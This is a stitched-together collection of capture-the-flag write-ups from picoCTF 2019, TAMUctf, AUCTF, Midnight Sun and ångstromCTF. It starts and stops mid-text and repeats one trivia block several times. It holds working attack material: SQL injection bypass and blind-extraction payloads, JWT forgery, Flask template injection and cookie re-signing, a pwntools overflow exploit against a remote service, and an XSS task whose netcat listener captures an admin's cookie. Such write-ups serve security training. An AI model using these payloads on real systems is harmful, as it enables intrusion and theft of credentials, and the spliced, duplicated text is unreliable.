`False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# PASSWORD_EXTRACTION Writeup ### TAMUctf 2020 - Web 50 > The owner of this website often reuses passwords. Can you find out the password they are using on this test server?>> http://passwordextraction.tamuctf.com>> You do not need to use brute force for this challenge. #### Blind SQL Injection Goal: leak admin password. First I leaked mysql version: - ID: `admin' and ascii(substring(version(), {}, 1)){}{} #` ```5.7.29-0ubuntu0.18.04.1``` Next leak table names: - ID: `admin' and ascii(substring((select group_concat(table_name) from information_schema.tables limit 0, 1), {}, 1)){}{} #`- User defined tables: ```accounts,columns_pr``` Finally leak password of admin: - ID: `admin' and ascii(substring((select password from accounts where username='admin'), {}, 1)){}{} #`- Get flag: ```gigem{h0peYouScr1ptedTh1s}```
# Cheese This ![](CheeseThis.png) Data rot usually is a problem with images. When opening an image with any program the filetype should get detected by the first few bytes of the image.Opening this however just showed the following:![](branzaV1.png) Having a look at the hex of the aleged image we found that the first few bytes went missing (yellow highlighted) and that the image is in fact a png (green highlighted)![](branzaV2.png) Replacing those emty bytes with correct ones![](branzaV3.png) revealed this image: With a litte trial and error we managed to get the flag correctly: ### Flag: `X-MAS{You_are_g00d_w1th_gu3551ng}`
# ALIedAS About Some Thing 903 points ### Prompt > See what you can find. > `AUCTFShh` > Author: c ### Solution `AUCTFShh` looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework` > `Username` > `Username Search Engines` > [`Namechk`](https://namechk.com/). ![Image](username-search-1.png) I opened each of the greyed out sites in a tab, and looked through each for anything suspicious. The usual suspects (Twitter, Instagram, Reddit) were all blank (even on the Wayback Machine), so on further... The Steam account by the name of `AUCTFShh` [link](https://steamcommunity.com/id/AUCTFShh) [archive](http://archive.today/2020.04.06-023418/https://steamcommunity.com/id/AUCTFShh) shows that this user has aliased their user name to `youllneverfindmese`. Back to [Namechk](https://namechk.com/): ![Image](username-search-2.png) The first thing I noticed is the PasteBin account listed. Visiting it reveals that this user has one page [link](https://pastebin.com/qMRYqzYB) [archive](http://archive.today/2020.04.06-023833/https://pastebin.com/qMRYqzYB). It contains: ```https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt``` The `devs-r-us.xyz` domain is part of another AUCTF challenge, so we know this is the right place to look. ```wget https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txtcat flag.txtauctf{4li4s3s_w0nT_5t0p_m3_6722df34df}``` ~Lyell Read
Main just call `vulnerable()`: ![img/thanksgiving_dinner_0.png](img/thanksgiving_dinner_0.png) fgets allow us to overwrite the local variable. In order to get the flag we need to do that with values to pass the if condition. Exploit:```pythonfrom pwn import * payload = ('A'*16).encode()payload += p32(0x2A)payload += p32(0x77)payload += p32(0x667463)payload += p32(0xFFFFFFE7)payload += p32(0x1337) #p = process('./turkey')p = remote('challenges.auctf.com', 30011)print(p.recvuntil('got!\n\n').decode())p.sendline(payload)p.interactive()``` # FLAG`auctf{I_s@id_1_w@s_fu11!}`
# Crypto i'll have the salad : `auctf{jU5t_4_W4rM_uP_1_4421_9952}` (Ceasar cipher 21) Land Locked : `auctf{4LL_y0Ur_B453_R_b3l0Ng_2_uS_124df2sdasv}` (Base64)
- Given plain_jane.s file, compile with:```shellgcc plain_jane.s``` - Debug with gdb, stepping through the main. Check RAX (return value) after func_3```gdbRAX 0x6fcf``` # FLAG`28623`
# Midnight Sun CTF 2020 Qualifier - Radio Intercept> We recorded some strange signals, can you help us decode them? Download: [https://s3-eu-west-1.amazonaws.com/2020.midnightsunctf.se/865100d0d994d6fd36c3a398c46528f93a0069dd2f613c50955ffe47ca452e6b/radio_challenge.tgz](https://s3-eu-west-1.amazonaws.com/2020.midnightsunctf.se/865100d0d994d6fd36c3a398c46528f93a0069dd2f613c50955ffe47ca452e6b/radio_challenge.tgz) Points: 228 Solves: 18 Tags: misc, forensic, radio ## Initial stepsWe unpack the provided archive. We find a .bin file and a screenshot: ![](images/receiver.png) This looks like gnuradio! I assume the bin file is the one written with the File Sink. ## Analysing recv.binThe next step is clear: Build a flow graph in gnuradio that can read the file and output it to a GUI sink to analyze it further: ![](images/step1.png) We can see the following waterfall diagram: ![](images/step1_waterfall.png) There seem to be two different signals. The right one is offset by roughly 9kHz. Let's try to extract it. I learned that I can do that by multiplying the signal with a cosine and low pass filtering the rest away. Notes: - SignalSource.Frequency = -1*our offset = -9k- Wav File Sink to be able to use the result in Audacity- To make it more understandable: - Reduced the **Gain** in Low Pass Filter and Demod - Increase **Cutoff Freq** and **Transition Width**. They should fit the signal width in the waterfall diagram - High sample rate in Wav File Sink ![](images/step2.png) Then I opened the resulting .wav file in audacity and listened to it, playing around with the playback speed so I can understand it clearly. After quite some time I finally found which radio alphabet these weird words could belong to: [https://en.wikipedia.org/wiki/PGP_word_list](https://en.wikipedia.org/wiki/PGP_word_list) I then transcribed all the words: ```goggles guitarist flytrap headwaters gazelle graduate frighten hydraulic kickoff enterprise gremlin hazardous fracture hydraulic gazelle hazardous fracture hurricane eyetooth decadence glucose hesitate frighten frequency eyetooth december highchair frequency inverse hemisphere eyetooth guitarist hockey forever goldfish hemisphere indoors forever fracture headwaters gremlin impartial freedom gravity klaxon```Initially I misunderstood some words. However I immediatly assumed each word belonging to one ASCII character and used the word list on Wikipedia to correct the ones that were not correct. Using this neat [Tool](https://goto.pachanka.org/crypto/pgp-wordlist) we arrive at the flag:```midnight{Sometimes_Alpha_Bravo_is_not_enough}```
# Crypto i'll have the salad : `auctf{jU5t_4_W4rM_uP_1_4421_9952}` (Ceasar cipher 21) Land Locked : `auctf{4LL_y0Ur_B453_R_b3l0Ng_2_uS_124df2sdasv}` (Base64)
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
# Avr-rev Description: My Arduino now has internet access! :D Avr-rev consists out of a Intel HEX format AVR Binary and a service to connect to.The AVR program tries to parse the user input and gives out a number as response. ## Solution Playing around with the online service reveals some interesting properties. The parser supports numbers, strings, arrays and dictionaries in a limited fashion.Matching it up with the parser code in the binary shows that there isn't much more either. When entering a dictionary the output not only doesn't fail to parse but also outputs a '1' instead of '0'. ```> {"test":1}{"test": 1}1``` Further playing around shows that entering a number as the dictionary key makes it output a '2'. ```> {1:2}{1: 2}2``` Diving into the code confirms this behaviour and shows that the next step is to set the key value to 1337 (which is the base10 version of 0x539). ![](conditions.PNG) ```> {1337: 1}{1337: 1}3``` Setting the value to a string results in variating output depending on the characters entered: ```> {1337: "A"}{1337: "A"}251``` A look into the code shows that it takes each character from the string entered and subtracts them from a value read from an internal register.If the values match it continues with the next character, otherwise it outputs the difference and exits. ![](loop.PNG) Using a small helper function and just entering A's as a start reveals the secret string by slowly matching it. ```pythondef delta(v): if v > 0x7f: return chr(ord("A")+(0xff-v+1)) return chr(ord("A")-v)``` ```> {1337: "First: midnight{only31?} But AAA"}{1337: "First: midnight{only31?} But AAA"}205 > {1337: "First: midnight{only31?} But tAA"}{1337: "First: midnight{only31?} But tAA"}210 > {1337: "First: midnight{only31?} But toA"}{1337: "First: midnight{only31?} But toA"}33 > {1337: "First: midnight{only31?} But to "}{1337: "First: midnight{only31?} But to "}153``` # Pybonhash Description: What's this newfangled secure hashing technique? Pybonhash consists out of pybonhash.cpython-36.pyc and hash.txt.When giving pybonhash an input file it "hashes" the content with the flag as key.The task is to derive the flag from the hash out of hash.txt. ## Solution Decompiling the `pybonhash.cpython-36.pyc` file with uncompyle6 shows a relatively simple "hashing" algorithm. ```pythonimport string, sys, hashlib, binasciifrom Crypto.Cipher import AESfrom flag import keyif not len(key) == 42: raise AssertionErrordata = open(sys.argv[1], 'rb').read()if not len(data) >= 191: raise AssertionErrorFIBOFFSET = 4919MAXFIBSIZE = len(key) + len(data) + FIBOFFSET def fibseq(n): out = [ 0, 1] for i in range(2, n): out += [out[i - 1] + out[i - 2]] return out FIB = fibseq(MAXFIBSIZE)i = 0output = ''while i < len(data): data1 = data[FIB[i] % len(data)] key1 = key[(i + FIB[FIBOFFSET + i]) % len(key)] i += 1 data2 = data[FIB[i] % len(data)] key2 = key[(i + FIB[FIBOFFSET + i]) % len(key)] i += 1 tohash = bytes([data1, data2]) toencrypt = hashlib.md5(tohash).hexdigest() thiskey = bytes([key1, key2]) * 16 cipher = AES.new(thiskey, AES.MODE_ECB) enc = cipher.encrypt(toencrypt) output += binascii.hexlify(enc).decode('ascii') print(output)``` Because characters are MD5 hashed in pairs of two and AES encrypted with only two characters of the key each iteration it's possible to reconstruct the key and parts of the input data based on the hash. By first creating a lookup table for all md5 hashed data combinations: ```python# Build Lookup table for the hashed data pairsdef buildTable(): table = {} for data1 in range(0x100): for data2 in range(0x100): table[hashlib.md5(chr(data1)+chr(data2)).hexdigest()] = chr(data1)+chr(data2) return table``` And then for each block trying each possible key until a matching entry is found: ```python# Try all key combinations until a matching table entry was founddef tryKeys(table, data): for key1 in range(0x100): for key2 in range(0x100): thiskey = (chr(key1)+chr(key2)) * 16 cipher = AES.new(thiskey, AES.MODE_ECB) enc = cipher.decrypt(data.decode("hex")) if enc in table: return ((chr(key1)+chr(key2)), table[enc]) return None``` Each block can be individually decrypted, each time leaking parts of the key and data: ```pythondef decrypt(s): dataTable = buildTable() # create lookup table FIB = fibseq(MAXFIBSIZE) # create fib sequence like in the encoder i = 0 keyR = list(" "*key_len) # output key character list dataR = list(" "*data_len) # output data character list for j in range(len(s)/64): d1_i = FIB[i] % data_len # encoding index for the first data byte k1_i = (i + FIB[FIBOFFSET + i]) % key_len # encoding index for the first key byte i = i + 1 d2_i = FIB[i] % data_len # encoding index for the second data byte k2_i = (i + FIB[FIBOFFSET + i]) % key_len # encoding index for the second key byte i = i + 1 part = s[j*64:(j+1)*64] # extract the relevant 32 byte block from the hex encoded hash res = (tryKeys(dataTable, part)) # try all keys until a match is found, returns (key, data) pair keyR[k1_i] = res[0][0] # save all entries keyR[k2_i] = res[0][1] dataR[d1_i] = res[1][0] dataR[d2_i] = res[1][1] print(''.join(keyR)) # print progress return (''.join(keyR) , ''.join(dataR)) # return resulting key and data ``` Which in the end recovers the full "hashing key": ```midnight{xwJjPw4Vp0Zl19xIdaNuz6zTeMQ1wlNP}``` # Indian guessing Description: Let's play an Indian guessing game! Indian guessing is a service which approximates floating points entered to it. ## Solution Normal behavior: ```Let's play an Indian guessing game!> 133.71 I guess 500000.0 Too big!2 I guess 250000.0 Too big!3 I guess 125000.0 Too big!4 I guess 62500.0 Too big!5 I guess 31250.0 Too big!6 I guess 15625.0 Too big!7 I guess 7812.5 Too big!8 I guess 3906.25 Too big!9 I guess 1953.125 Too big!10 I guess 976.5625 Too big!11 I guess 488.28125 Too big!12 I guess 244.140625 Too big!13 I guess 122.0703125 Too small!14 I guess 183.10546875 Too big!15 I guess 152.587890625 Too big!16 I guess 137.3291015625 Too big!17 I guess 129.69970703125 Too small!18 I guess 133.514404296875 Too small!19 I guess 135.4217529296875 Too big!20 I guess 134.46807861328125 Too big!21 I guess 133.99124145507812 Too big!22 I guess 133.75282287597656 Too big!23 I guess 133.63361358642578 Too small!24 I guess 133.69321823120117 Too small!25 I guess 133.72302055358887 Too big!26 I guess 133.70811939239502 Too big!27 I guess 133.7006688117981 Close enough! ;) I got you this time!Let's play an Indian guessing game!``` Non number input: ```Let's play an Indian guessing game!> some_inputcould not convert string to float: 'some_input'``` A solution which is technically a float but can't be approximated: ```Let's play an Indian guessing game!> NaN1 I guess 500000.0 Too small!2 I guess 750000.0 Too small!3 I guess 875000.0 Too small!4 I guess 937500.0 Too small!5 I guess 968750.0 Too small!6 I guess 984375.0 Too small!7 I guess 992187.5 Too small!8 I guess 996093.75 Too small!9 I guess 998046.875 Too small!10 I guess 999023.4375 Too small!11 I guess 999511.71875 Too small!12 I guess 999755.859375 Too small!13 I guess 999877.9296875 Too small!14 I guess 999938.96484375 Too small!15 I guess 999969.482421875 Too small!16 I guess 999984.7412109375 Too small!17 I guess 999992.3706054688 Too small!18 I guess 999996.1853027344 Too small!19 I guess 999998.0926513672 Too small!20 I guess 999999.0463256836 Too small!21 I guess 999999.5231628418 Too small!22 I guess 999999.7615814209 Too small!23 I guess 999999.8807907104 Too small!24 I guess 999999.9403953552 Too small!25 I guess 999999.9701976776 Too small!26 I guess 999999.9850988388 Too small!27 I guess 999999.9925494194 Too small!28 I guess 999999.9962747097 Too small!29 I guess 999999.9981373549 Too small!30 I guess 999999.9990686774 Too small!You have beaten me. Here you go: midnight{rice_and_cu^H^Hsoju}```
Writeup: Califrobnication Run `./califrobnication > ~/file & echo $! | date` on shell server. This will give you an exact timestamp and an approximate PID. Next run following command locally, with a flag.txt file of length 49 `date +%s -s @<UNIX TIMESTAMP HERE> ;sudo echo <PID-2 HERE> > /proc/sys/kernel/ns_last_pid; ./califrobnication | hd` You will get a number of different outputsLook for one that has the last letter of flag.txt xor'ed in the same place as the } xor'ed was on the shellDexorReassemble the flagGG;No re
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
# ångstromCTF 2020 – Xmas Still Stands * **Category:** web* **Points:** 50 ## Challenge > You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?> > Author: aplet123> > https://xmas.2020.chall.actf.co/ ## Solution The title reminds the XSS vulnerability. The `https://xmas.2020.chall.actf.co/post` page can be used to post a message with an XSS attack. For example using an `img` tag like the following. ```html``` The website will return a code that can be used to identify the posted message. The resulting code can be sent to administrator via `https://xmas.2020.chall.actf.co/report` page. On a server listening with `nc`, you will receive the admin cookies. ```ubuntu@server:~$ nc -lvp 1337Listening on [0.0.0.0] (family 0, port 1337)Connection from ec2-52-207-14-64.compute-1.amazonaws.com 48884 received!GET /?c=super_secret_admin_cookie=hello_yes_i_am_admin;%20admin_name=Jamie HTTP/1.1Host: 